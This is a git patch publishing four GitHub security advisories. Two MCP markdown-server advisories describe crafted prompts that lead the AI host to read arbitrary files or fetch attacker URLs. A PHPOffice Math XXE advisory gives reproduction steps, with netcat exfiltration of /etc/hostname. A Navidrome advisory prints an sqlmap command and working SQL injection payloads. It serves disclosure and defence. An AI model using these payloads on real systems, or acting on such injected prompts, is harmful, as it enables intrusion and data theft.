From 48071f775400af03fe128d1613c6f9dff8fde583 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 29 May 2025 17:28:47 +0000 Subject: [PATCH] Publish Advisories GHSA-22v8-p7h2-rj7p GHSA-42hm-pq2f-3r7m GHSA-5wgp-vjxm-3x2r GHSA-frq9-3hp2-xvxg --- .../GHSA-22v8-p7h2-rj7p.json | 39 +++++++++-- .../GHSA-42hm-pq2f-3r7m.json | 64 +++++++++++++++++++ .../GHSA-5wgp-vjxm-3x2r.json | 62 ++++++++++++++++++ .../GHSA-frq9-3hp2-xvxg.json | 39 +++++++++-- 4 files changed, 190 insertions(+), 14 deletions(-) rename advisories/{unreviewed => github-reviewed}/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json (62%) create mode 100644 advisories/github-reviewed/2025/05/GHSA-42hm-pq2f-3r7m/GHSA-42hm-pq2f-3r7m.json create mode 100644 advisories/github-reviewed/2025/05/GHSA-5wgp-vjxm-3x2r/GHSA-5wgp-vjxm-3x2r.json rename advisories/{unreviewed => github-reviewed}/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json (62%) diff --git a/advisories/unreviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json b/advisories/github-reviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json similarity index 62% rename from advisories/unreviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json rename to advisories/github-reviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json index 3ad8d7b3570..d48fb6d2809 100644 --- a/advisories/unreviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json +++ b/advisories/github-reviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-22v8-p7h2-rj7p", - "modified": "2025-05-29T06:31:17Z", + "modified": "2025-05-29T17:27:10Z", "published": "2025-05-29T06:31:17Z", "aliases": [ "CVE-2025-5273" ], + "summary": "Markdownify MCP Server allows attackers to read arbitrary files", "details": "All versions of the package mcp-markdownify-server are vulnerable to Files or Directories Accessible to External Parties via the get-markdown-file tool. An attacker can craft a prompt that, once accessed by the MCP host, will allow it to read arbitrary files from the host running the server.", "severity": [ { @@ -14,10 +15,30 @@ }, { "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "mcp-markdownify-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.0.1" + } + ] + } + ] } ], - "affected": [], "references": [ { "type": "ADVISORY", @@ -27,9 +48,13 @@ "type": "WEB", "url": "https://github.com/zcaceres/markdownify-mcp/commit/3a6b202d088ef7acb8be84bc09515f41a2b1a9df" }, + { + "type": "PACKAGE", + "url": "https://github.com/zcaceres/markdownify-mcp" + }, { "type": "WEB", - "url": "https://github.com/zcaceres/markdownify-mcp/blob/3667bd4765c0e49684ce22df268d02dd478a7f3b/src/Markdownify.ts%23L94" + "url": "https://github.com/zcaceres/markdownify-mcp/blob/3667bd4765c0e49684ce22df268d02dd478a7f3b/src/Markdownify.ts#L94" }, { "type": "WEB", @@ -40,9 +65,9 @@ "cwe_ids": [ "CWE-552" ], - "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-05-29T17:27:10Z", "nvd_published_at": "2025-05-29T05:15:21Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-42hm-pq2f-3r7m/GHSA-42hm-pq2f-3r7m.json b/advisories/github-reviewed/2025/05/GHSA-42hm-pq2f-3r7m/GHSA-42hm-pq2f-3r7m.json new file mode 100644 index 00000000000..f65e5b10bb9 --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-42hm-pq2f-3r7m/GHSA-42hm-pq2f-3r7m.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-42hm-pq2f-3r7m", + "modified": "2025-05-29T17:27:39Z", + "published": "2025-05-29T17:27:39Z", + "aliases": [ + "CVE-2025-48882" + ], + "summary": "PHPOffice Math allows XXE when processing an XML file in the MathML format ", + "details": "**Product:** Math\n**Version:** 0.2.0\n**CWE-ID:** CWE-611: Improper Restriction of XML External Entity Reference\n**CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n**CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n**Description:** An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files. \n**Impact:** Local server files reading\n**Vulnerable component:** The [`loadXML`](https://github.com/PHPOffice/Math/blob/c3ecbf35601e2a322bf2ddba48589d79ac827b92/src/Math/Reader/MathML.php#L38C9-L38C55) function with the unsafe [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, the [`MathML`](https://github.com/PHPOffice/Math/blob/master/src/Math/Reader/MathML.php) class\n**Exploitation conditions:** The vulnerability applies only to reading a file in the `MathML` format.\n**Mitigation:** If there is no option to refuse using the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, it’s recommended to filter external entities through the implementation of the [`custom external entity loader function`](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php).\n**Researcher: Aleksandr Zhurnakov (Positive Technologies)**\n\n## Research\nZero-day vulnerability was discovered in the [Math](https://github.com/PHPOffice/Math) library in the detailed process of the XXE vulnerability research in PHP.\nLoading XML data, using the standard [`libxml`](https://www.php.net/manual/en/book.libxml.php) extension and the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag without additional filtration, leads to XXE.\n\nBelow are steps to reproduce the vulnerability.\n\n1. Preparation:\n\n- The payload was tested on the PHP versions >= 8.1.\n- The [composer](https://getcomposer.org/) manager is used to install the latest version of the Math library.\n- PHP has to be configurated with [Zlib](https://www.php.net/manual/ru/book.zlib.php) support.\n- The necessary [requirements](https://github.com/PHPOffice/Math?tab=readme-ov-file#requirements) for the Math library must be installed.\n- The `netcat` utility is used for demonstration exfiltration.\n\n2. Make `math` directory and then moving into it.\n````\nmkdir math && cd math\n````\n\n3. Install the latest actual version of the library (Figure 1). \n```\ncomposer require phpoffice/math\n````\n_Figure 1. Installing the library_\n\"fig2\"\n\n4. Create `poc.xml` file (Listing 1): \n\n_Listing 1. Creating `poc.xml`_\n```\nxml \n \n```\n5. Create `math.php` file (Listing 2): \n\n*Listing 2. Creating `math.php`*\n````\nread(\n file_get_contents('poc.xml')\n );\n````\n6. The payload (see the step 4) is set to exfiltrate the `/etc/hostname` file through `http://127.0.0.1:9999/`, so the listening socket is launched at the `9999` port (Figure 2)\n\n_Figure 2. Launching the listening socket_\n\"fig2\"\n\n7. Execute php-script via console: \n````\nphp math.php \n````\n\n6 characters from the `/etc/hostname` file will be exfiltrated to the `9999` port in base64 format (Figure 3). \n\n_Figure 3. Characters exfiltration_\n\"fig3\"\n\nDecode the received data from base64 removing the last `M` character (the payload feature) (Figure 4).\n\n*Figure 4. Data decoding*\n\"fig4\"\n\n8. By changing the payload, the remaining file can be received. \n\n## Credits\nAleksandr Zhurnakov (Positive Technologies)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "phpoffice/math" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.3.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.2.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/PHPOffice/Math/security/advisories/GHSA-42hm-pq2f-3r7m" + }, + { + "type": "WEB", + "url": "https://github.com/PHPOffice/Math/commit/fc31c8f57a7a81f962cbf389fd89f4d9d06fc99a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/PHPOffice/Math" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-611" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-05-29T17:27:39Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-5wgp-vjxm-3x2r/GHSA-5wgp-vjxm-3x2r.json b/advisories/github-reviewed/2025/05/GHSA-5wgp-vjxm-3x2r/GHSA-5wgp-vjxm-3x2r.json new file mode 100644 index 00000000000..9eb3ff3e76b --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-5wgp-vjxm-3x2r/GHSA-5wgp-vjxm-3x2r.json @@ -0,0 +1,62 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5wgp-vjxm-3x2r", + "modified": "2025-05-29T17:27:56Z", + "published": "2025-05-29T17:27:56Z", + "aliases": [], + "summary": "Navidrome allows SQL Injection via role parameter", + "details": "## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**\n\n### **Overview**\n\nThis vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.\n\n---\n\n### **Details**\n\n* **Vulnerable Component**:\n API endpoint → `/api/artist`\n Parameter → `role`\n\n* **Vulnerability Type**:\n SQL Injection (stacked queries, UNION queries)\n\n* **Database Affected**:\n SQLite (confirmed exploitation via SQLite-specific payloads)\n\n* **Impact**:\n Successful exploitation allows an unauthenticated attacker to:\n\n * Execute arbitrary SQL commands\n * Extract or manipulate sensitive data (e.g., user records, playlists)\n * Potentially escalate privileges or disrupt service availability\n\n---\n\n### **Proof of Concept (PoC)**\n\n**Example Exploit Command**:\n\n```bash\nsqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite\n```\n\n**Sample Payloads**:\n\n* **Stacked Queries**:\n\n ```\n http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--\n ```\n\n* **UNION-Based Query**:\n\n ```\n http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny\n ```\n\n**Example HTTP Request**:\n\n```http\nGET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2\nHost: \nCookie: \nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nX-Nd-Authorization: \nX-Nd-Client-Unique-Id: \n```\n\n---", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/navidrome/navidrome" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.55.0" + }, + { + "fixed": "0.56.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.55.2" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2r" + }, + { + "type": "WEB", + "url": "https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/navidrome/navidrome" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-89" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-05-29T17:27:56Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json b/advisories/github-reviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json similarity index 62% rename from advisories/unreviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json rename to advisories/github-reviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json index fcda43c0bf7..3e9ab62242e 100644 --- a/advisories/unreviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json +++ b/advisories/github-reviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-frq9-3hp2-xvxg", - "modified": "2025-05-29T06:31:17Z", + "modified": "2025-05-29T17:27:26Z", "published": "2025-05-29T06:31:17Z", "aliases": [ "CVE-2025-5276" ], + "summary": "Markdownify MCP Server allows Server-Side Request Forgery (SSRF) via the Markdownify.get() function", "details": "All versions of the package mcp-markdownify-server are vulnerable to Server-Side Request Forgery (SSRF) via the Markdownify.get() function. An attacker can craft a prompt that, once accessed by the MCP host, can invoke the webpage-to-markdown, bing-search-to-markdown, and youtube-to-markdown tools to issue requests and read the responses to attacker-controlled URLs, potentially leaking sensitive information.", "severity": [ { @@ -14,10 +15,30 @@ }, { "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "mcp-markdownify-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.0.1" + } + ] + } + ] } ], - "affected": [], "references": [ { "type": "ADVISORY", @@ -27,9 +48,13 @@ "type": "WEB", "url": "https://github.com/zcaceres/markdownify-mcp/commit/0284aa8f34d32c65e20d8cda2d429b7943c9af03" }, + { + "type": "PACKAGE", + "url": "https://github.com/zcaceres/markdownify-mcp" + }, { "type": "WEB", - "url": "https://github.com/zcaceres/markdownify-mcp/blob/224cf89f0d58616d2a5522f60f184e8391d1c9e3/src/server.ts%23L20C17-L20C29" + "url": "https://github.com/zcaceres/markdownify-mcp/blob/224cf89f0d58616d2a5522f60f184e8391d1c9e3/src/server.ts#L20C17-L20C29" }, { "type": "WEB", @@ -40,9 +65,9 @@ "cwe_ids": [ "CWE-918" ], - "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-05-29T17:27:26Z", "nvd_published_at": "2025-05-29T05:15:21Z" } } \ No newline at end of file